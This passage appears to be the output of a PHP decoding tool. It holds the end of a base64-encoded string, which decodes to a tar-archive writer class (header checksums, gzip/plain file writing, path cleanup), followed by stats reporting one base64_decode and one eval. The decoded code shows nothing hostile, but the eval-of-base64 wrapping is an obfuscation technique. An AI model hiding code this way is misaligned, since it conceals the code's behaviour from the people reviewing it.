RybGVuKCRrZWVwX2ZpbGVuYW1lKTw9MCkgJGtlZXBfZmlsZW5hbWUgPSAkZmlsZW5hbWU7CgkJJGZpbGVuYW1lX3JlYWR5ID0gJHRoaXMtPm1ha2VHb29kUGF0aCgka2VlcF9maWxlbmFtZSk7CgoJCWlmIChzdHJsZW4oJGZpbGVuYW1lX3JlYWR5KSA+IDk5KXsJCQkJCQkJLy93cml0ZSBsb25nIGhlYWRlcgoJCSRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJy4vLi9Mb25nTGluaycsIDAsIDAsIDAsIHNwcmludGYoJyUxMXMgJywgRGVjT2N0KHN0cmxlbigkZmlsZW5hbWVfcmVhZHkpKSksIDApOwoJCSRkYXRhTGFzdCA9IHBhY2soJHBhY2tMLCAnTCcsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycpOwoKICAgICAgICAvLyAgQ2FsY3VsYXRlIHRoZSBjaGVja3N1bQoJCSRjaGVja3N1bSA9IDA7CiAgICAgICAgLy8gIEZpcnN0IHBhcnQgb2YgdGhlIGhlYWRlcgoJCWZvciAoJGkgPSAwOyAkaSA8IDE0ODsgJGkrKykKCQkJJGNoZWNrc3VtICs9IG9yZChzdWJzdHIoJGRhdGFGaXJzdCwgJGksIDEpKTsKICAgICAgICAvLyAgSWdub3JlIHRoZSBjaGVja3N1bSB2YWx1ZSBhbmQgcmVwbGFjZSBpdCBieSAnICcgKHNwYWNlKQoJCWZvciAoJGkgPSAxNDg7ICRpIDwgMTU2OyAkaSsrKQoJCQkkY2hlY2tzdW0gKz0gb3JkKCcgJyk7CiAgICAgICAgLy8gIExhc3QgcGFydCBvZiB0aGUgaGVhZGVyCgkJZm9yICgkaSA9IDE1NiwgJGo9MDsgJGkgPCA1MTI7ICRpKyssICRqKyspCgkJCSRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhTGFzdCwgJGosIDEpKTsKICAgICAgICAvLyAgV3JpdGUgdGhlIGZpcnN0IDE0OCBieXRlcyBvZiB0aGUgaGVhZGVyIGluIHRoZSBhcmNoaXZlCgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFGaXJzdCwgMTQ4KTsKICAgICAgICAvLyAgV3JpdGUgdGhlIGNhbGN1bGF0ZWQgY2hlY2tzdW0KCQkkY2hlY2tzdW0gPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRjaGVja3N1bSkpOwoJCSRiaW5hcnlEYXRhID0gcGFjaygnYTgnLCAkY2hlY2tzdW0pOwoJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhLCA4KTsKICAgICAgICAvLyAgV3JpdGUgdGhlIGxhc3QgMzU2IGJ5dGVzIG9mIHRoZSBoZWFkZXIgaW4gdGhlIGFyY2hpdmUKCQkkdGhpcy0+d3JpdGVCbG9jaygkZGF0YUxhc3QsIDM1Nik7CgoJCSR0bXBfZmlsZW5hbWUgPSAkdGhpcy0+bWFrZUdvb2RQYXRoKCRmaWxlbmFtZV9yZWFkeSk7CgoJCSRpID0gMDsKCQkJd2hpbGUgKCgkYnVmZmVyID0gc3Vic3RyKCR0bXBfZmlsZW5hbWUsICgoJGkrKykqNTEyKSwgNTEyKSkgIT0gJycpewoJCQkJJGJpbmFyeURhdGEgPSBwYWNrKCdhNTEyJywgJGJ1ZmZlcik7CgkJCQkkdGhpcy0+d3JpdGVCbG9jaygkYmluYXJ5RGF0YSk7CgkJCX0KCQlyZXR1cm4gdHJ1ZTsKCQl9CgkJJGZpbGVfaW5mbyA9IHN0YXQoJGZpbGVuYW1lKTsKCQlpZiAoQGlzX2RpcigkZmlsZW5hbWUpKXsKCQkJJHR5cGVmbGFnID0gJzUnOwoJCQkkc2l6ZSA9IHNwcmludGYoJyUxMXMgJywgRGVjT2N0KDApKTsKCQl9IGVsc2UgewoJCQkkdHlwZWZsYWcgPSAnJzsKCQkJY2xlYXJzdGF0Y2FjaGUoKTsKCQkJJHNpemUgPSBzcHJpbnRmKCclMTFzICcsIERlY09jdChmaWxlc2l6ZSgkZmlsZW5hbWUpKSk7CgkJfQoJCSRkYXRhRmlyc3QgPSBwYWNrKCRwYWNrRiwgJGZpbGVuYW1lX3JlYWR5LCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KGZpbGVwZXJtcygkZmlsZW5hbWUpKSksIHNwcmludGYoJyU2cyAnLCBEZWNPY3QoJGZpbGVfaW5mb1s0XSkpLCBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRmaWxlX2luZm9bNV0pKSwgJHNpemUsIHNwcmludGYoJyUxMXMnLCBEZWNPY3QoZmlsZW10aW1lKCRmaWxlbmFtZSkpKSk7CgkJJGRhdGFMYXN0ID0gcGFjaygkcGFja0wsICR0eXBlZmxhZywgJycsICcnLCAnJywgJycsICcnLCAnJywgJycsICcnLCAnJyk7CgkJJGNoZWNrc3VtID0gMDsKCQlmb3IgKCRpID0gMDsgJGkgPCAxNDg7ICRpKyspICRjaGVja3N1bSArPSBvcmQoc3Vic3RyKCRkYXRhRmlyc3QsICRpLCAxKSk7CgkJZm9yICgkaSA9IDE0ODsgJGkgPCAxNTY7ICRpKyspICRjaGVja3N1bSArPSBvcmQoJyAnKTsKCQlmb3IgKCRpID0gMTU2LCAkaiA9IDA7ICRpIDwgNTEyOyAkaSsrLCAkaisrKSAkY2hlY2tzdW0gKz0gb3JkKHN1YnN0cigkZGF0YUxhc3QsICRqLCAxKSk7CgkJJHRoaXMtPndyaXRlQmxvY2soJGRhdGFGaXJzdCwgMTQ4KTsKCQkkY2hlY2tzdW0gPSBzcHJpbnRmKCclNnMgJywgRGVjT2N0KCRjaGVja3N1bSkpOwoJCSRiaW5hcnlEYXRhID0gcGFjaygnYTgnLCAkY2hlY2tzdW0pOwoJCSR0aGlzLT53cml0ZUJsb2NrKCRiaW5hcnlEYXRhLCA4KTsKCQkkdGhpcy0+d3JpdGVCbG9jaygkZGF0YUxhc3QsIDM1Nik7CgkJcmV0dXJuIHRydWU7Cgl9CgoJZnVuY3Rpb24gb3BlbldyaXRlKCl7CgkJaWYgKCR0aGlzLT5pc0d6aXBwZWQpCgkJCSR0aGlzLT50bXBfZmlsZSA9IGd6b3BlbigkdGhpcy0+YXJjaGl2ZV9uYW1lLCAnd2I5ZicpOwoJCWVsc2UKCQkJJHRoaXMtPnRtcF9maWxlID0gZm9wZW4oJHRoaXMtPmFyY2hpdmVfbmFtZSwgJ3diJyk7CgoJCWlmICghKCR0aGlzLT50bXBfZmlsZSkpewoJCQkkdGhpcy0+ZXJyb3JzW10gPSBfXygnQ2Fubm90IHdyaXRlIHRvIGZpbGUnKS4nICcuJHRoaXMtPmFyY2hpdmVfbmFtZTsKCQkJcmV0dXJuIGZhbHNlOwoJCX0KCQlyZXR1cm4gdHJ1ZTsKCX0KCglmdW5jdGlvbiByZWFkQmxvY2soKXsKCQlpZiAoaXNfcmVzb3VyY2UoJHRoaXMtPnRtcF9maWxlKSl7CgkJCWlmICgkdGhpcy0+aXNHemlwcGVkKQoJCQkJJGJsb2NrID0gZ3pyZWFkKCR0aGlzLT50bXBfZmlsZSwgNTEyKTsKCQkJZWxzZQoJCQkJJGJsb2NrID0gZnJlYWQoJHRoaXMtPnRtcF9maWxlLCA1MTIpOwoJCX0gZWxzZQkkYmxvY2sgPSAnJzsKCgkJcmV0dXJuICRibG9jazsKCX0KCglmdW5jdGlvbiB3cml0ZUJsb2NrKCRkYXRhLCAkbGVuZ3RoID0gMCl7CgkJaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpewoJCQoJCQlpZiAoJGxlbmd0aCA9PT0gMCl7CgkJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkKCQkJCQlnenB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSk7CgkJCQllbHNlCgkJCQkJZnB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSk7CgkJCX0gZWxzZSB7CgkJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkKCQkJCQlnenB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSwgJGxlbmd0aCk7CgkJCQllbHNlCgkJCQkJZnB1dHMoJHRoaXMtPnRtcF9maWxlLCAkZGF0YSwgJGxlbmd0aCk7CgkJCX0KCQl9Cgl9CgoJZnVuY3Rpb24gY2xvc2VUbXBGaWxlKCl7CgkJaWYgKGlzX3Jlc291cmNlKCR0aGlzLT50bXBfZmlsZSkpewoJCQlpZiAoJHRoaXMtPmlzR3ppcHBlZCkKCQkJCWd6Y2xvc2UoJHRoaXMtPnRtcF9maWxlKTsKCQkJZWxzZQoJCQkJZmNsb3NlKCR0aGlzLT50bXBfZmlsZSk7CgoJCQkkdGhpcy0+dG1wX2ZpbGUgPSAwOwoJCX0KCX0KCglmdW5jdGlvbiBtYWtlR29vZFBhdGgoJHBhdGgpewoJCWlmIChzdHJsZW4oJHBhdGgpPjApewoJCQkkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOwoJCQkkcGFydFBhdGggPSBleHBsb2RlKCcvJywgJHBhdGgpOwoJCQkkZWxzID0gY291bnQoJHBhcnRQYXRoKS0xOwoJCQlmb3IgKCRpID0gJGVsczsgJGk+PTA7ICRpLS0pewoJCQkJaWYgKCRwYXJ0UGF0aFskaV0gPT0gJy4nKXsKICAgICAgICAgICAgICAgICAgICAvLyAgSWdub3JlIHRoaXMgZGlyZWN0b3J5CiAgICAgICAgICAgICAgICB9IGVsc2VpZiAoJHBhcnRQYXRoWyRpXSA9PSAnLi4nKXsKICAgICAgICAgICAgICAgICAgICAkaS0tOwogICAgICAgICAgICAgICAgfQoJCQkJZWxzZWlmICgoJHBhcnRQYXRoWyRpXSA9PSAnJykgYW5kICgkaSE9JGVscykgYW5kICgkaSE9MCkpewogICAgICAgICAgICAgICAgfQllbHNlCgkJCQkJJHJlc3VsdCA9ICRwYXJ0UGF0aFskaV0uKCRpIT0kZWxzID8gJy8nLiRyZXN1bHQgOiAnJyk7CgkJCX0KCQl9IGVsc2UgJHJlc3VsdCA9ICcnOwoJCQoJCXJldHVybiAkcmVzdWx0OwoJfQp9'));
?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 4210be9a28cdee8cead0293ef169f066 |
Eval Count | 1 |
Decode Time | 186 ms |